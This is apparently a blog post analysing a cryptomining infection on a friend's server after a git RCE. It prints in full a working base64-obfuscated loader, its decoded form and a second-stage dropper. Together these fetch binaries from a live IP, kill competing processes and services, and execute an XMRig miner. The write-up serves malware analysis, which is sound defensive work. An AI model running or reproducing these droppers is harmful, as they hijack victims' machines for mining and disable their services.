✝️ Matthew 7:1-5 “Do not judge, so that you may not be judged. For the judgment you give will be the judgment you get, and the measure you give will be the measure you get. Why do you see the speck in your neighbor’s eye but do not notice the log in your own eye? Or how can you say to your neighbor, ‘Let me take the speck out of your eye,’ while the log is in your own eye? You hypocrite, first take the log out of your own eye, and then you will see clearly to take the speck out of your neighbor’s eye. So... uh my friend got pwned and I wanted to do some research so here we go! So... the year is 2026 aug 10th... and we start off with a git RCE POC (well we actually start with this lol: [CVE-2026-60004](https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m), note that this script runs after the box has already been popped: ```sh #!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 echo IyEvYmluL3NoCl9fZCgpIHsgbG9jYWwgX3VybD0iJDEiIF9ob3N0cG9ydCBfaG9zdCBfcG9ydCBfcGF0aDsgX2hvc3Rwb3J0PSQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xeaHR0cHM/Oi8vfHw7c3wvLip8fCcpOyBfcG9ydD0kKHByaW50ZiAnJXMnICIkX2hvc3Rwb3J0IiB8IGdyZXAgLW8gJzpbMC05XSonIHwgdHIgLWQgJzonKTsgX2hvc3Q9JChwcmludGYgJyVzJyAiJF9ob3N0cG9ydCIgfCBzZWQgJ3N8Oi4qfHwnKTsgX3BhdGg9LyQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xodHRwcz86Ly9bXi9dKi8/fHwnKTsgWyAteiAiJF9ob3N0IiBdICYmIHJldHVybiAxOyB7IGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtc1NvIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXFPIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHB5dGhvbjMgPi9kZXYvbnVsbCAyPiYxICYmIHB5dGhvbjMgLWMgImltcG9ydCB1cmxsaWIucmVxdWVzdCBhcyB1LHN5czsgc3lzLnN0ZG91dC5idWZmZXIud3JpdGUodS51cmxvcGVuKCckX3VybCcpLnJlYWQoKSkiIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyB9OyBjb21tYW5kIC12IHBlcmwgPi9kZXYvbnVsbCAyPiYxICYmIHsgcGVybCAtTUhUVFA6OlRpbnkgLWUgIm15IFwkcj1IVFRQOjpUaW55LT5uZXctPmdldCgnJF91cmwnKTsgZGllIHVubGVzcyBcJHItPntzdWNjZXNzfTsgcHJpbnQgXCRyLT57Y29udGVudH0iIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyBwZXJsIC1NSU86OlNvY2tldDo6SU5FVCAtZSAnbXkgJHM9SU86OlNvY2tldDo6SU5FVC0+bmV3KCInIiR7X2hvc3R9OiR7X3BvcnQ6LTgwfSInIikgb3IgZGllICQhOyBwcmludCAkcyAiR0VUICciJF9wYXRoIicgSFRUUC8xLjBcclxuSG9zdDogJyIkX2hvc3QiJ1xyXG5cclxuIjsgMSB3aGlsZSA8JHM+ICF+IC9eXHI/JC87IHByaW50IHdoaWxlIDwkcz47JyAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgfQpfX2QgaHR0cDovLzE3Mi4yNDUuMTU5LjIxNiB8IC9iaW4vc2gK | base64 -d | sh & output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6 git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7 exit 0 ``` After decoding the base64 we have this: ```sh #!/bin/sh __d() { local _url="$1" _hostport _host _port _path; _hostport=$(printf '%s' "$_url" | sed -E 's|^https?://||;s|/.*||'); _port=$(printf '%s' "$_hostport" | grep -o ':[0-9]*' | tr -d ':'); _host=$(printf '%s' "$_hostport" | sed 's|:.*||'); _path=/$(printf '%s' "$_url" | sed -E 's|https?://[^/]*/?||'); [ -z "$_host" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$_url" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$_url" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$_url').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$_url'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${_host}:${_port:-80}"'") or die $!; print $s "GET '"$_path"' HTTP/1.0\r\nHost: '"$_host"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; } __d http://172.245.159.216 | /bin/sh ``` The IP is 172\[.\]245\[.\]159\[.\]216 and I did a port scan and the only port open was port 80: ``` PORT STATE SERVICE 25/tcp filtered smtp 80/tcp open http 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 1900/tcp filtered upnp 2869/tcp filtered icslap ``` So, I curled that IP on port 80 and found /1, /2, and /3 as endpoints that lead to binaries. ```sh #!/bin/sh __a=$(uname -m);unset LD_PRELOAD 2>/dev/null;unset LD_LIBRARY_PATH 2>/dev/null;pkill -f guard 2>/dev/null (tmp="/tmp/p80.$"; ps -eo pid=,pcpu=,comm= | awk '$2>80 && length($3)!=8{print $1, $3}' > "$tmp"; awk '{print $1}' "$tmp" | while IFS= read -r p; do [ -n "$p" ] && kill "$p"; done; awk '{print $2}' "$tmp" | sort -u | while IFS= read -r b; do systemctl list-unit-files --type=service --no-legend | awk '{print $1}' | while IFS= read -r u; do systemctl cat "$u" 2>/dev/null | grep -Eq "ExecStart=.*(^|[ /])${b}([[:space:]]|$)" || continue; sudo systemctl stop "$u"; sudo systemctl disable "$u"; f=$(systemctl show -p FragmentPath --value "$u"); [ -n "$f" ] && sudo rm -f "$f"; done; done; rm -f "$tmp"; sudo systemctl daemon-reload)2>/dev/null [ "$__a" = "x86_64" ]&&__u="http://172.245.159.216/1";[ "$__a" = "aarch64" ]&&__u="http://172.245.159.216/2";[ "$__a" = "amd64" ]&&__u="http://172.245.159.216/3" __p=$(mktemp -u XXXXXXXX 2>/dev/null | tr -cd 'A-Za-z0-9' | cut -c1-8); [ -n "$__p" ] || __p=$(printf '%08d' "$" | cut -c1-8) __d() { local ___ur="$1" __hp __h __p __pa; __hp=$(printf '%s' "$___ur" | sed -E 's|^https?://||;s|/.*||'); __p=$(printf '%s' "$__hp" | grep -o ':[0-9]*' | tr -d ':'); __h=$(printf '%s' "$__hp" | sed 's|:.*||'); __pa=/$(printf '%s' "$___ur" | sed -E 's|https?://[^/]*/?||'); [ -z "$__h" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$___ur" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$___ur" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$___ur').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$___ur'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${__h}:${__p:-80}"'") or die $!; print $s "GET '"$__pa"' HTTP/1.0\r\nHost: '"$__h"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; } __wd=$(_seen=""; for _m in /tmp ${HOME:-} ${PWD:-} $(mount 2>/dev/null | while read -r _ _ mp _; do printf '%s ' "$mp"; done); do case " $_seen " in *" $_m "*) continue ;; esac; [ -n "$_m" ] && touch "$_m/.p$" 2>/dev/null && rm -f "$_m/.p$" && _seen="$_seen $_m" && printf '%s ' "$_m"; done); [ -n "$__wd" ] || __wd=/tmp for i in $__wd;do (__d $__u > $i/$__p)2>/dev/null&&[ -s $i/$__p ]&&(cd $i;chmod +x $__p;./$__p;wait $!;rm -rf $i/$__p)>/dev/null 2>&1;grep -qE '^\./[A-Za-z0-9]{8} /proc/[0-9]*/cmdline 2>/dev/null&&break;done ``` I then dumped all the curl results into 1 file. The different binary offsets are this: ``` 1: 0xa84-0x31d32f, 2: 0x31d356-0xa90fa5, 3: 0xa90fcc-0x1278fdb ``` I extracted the binaries from that file into binary_01.elf, binary_02.elf, and binary_03.elf: ```zsh for f in *; do if [[ $f == *.elf ]]; then file "$f"; fi; done binary_01.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, no section header binary_02.elf: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), static-pie linked, stripped binary_03.elf: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), statically linked, for FreeBSD 13.5, FreeBSD-style, stripped ``` Now, I love assembly, and I love arm assembly the most, so I wanted to look at binary_02.elf. I opened it in ida pro. I glanced at the strings first and looked around and I found this: ``` .rodata:0000000000533AF0 aXmrig6260Built DCB "XMRig 6.26.0",0xA ``` HMMMM, I went to `https://github.com/xmrig/xmrig/releases/tag/v6.26.0`, and found something interesting, there is no arm64 linux build. So maybe someone built this from the source, but did they modify the code at all? I built it from source on an arm64 docker instance with gcc 11. I used gcc 11 because: ``` 773568 GCC: (GNU) 11.2.1 20211120 ``` for binary_02.elf, and I did some bin diffing and at first the binaries seemed different but at the end, they were not different (most likely, I did not check every single line of assembly!)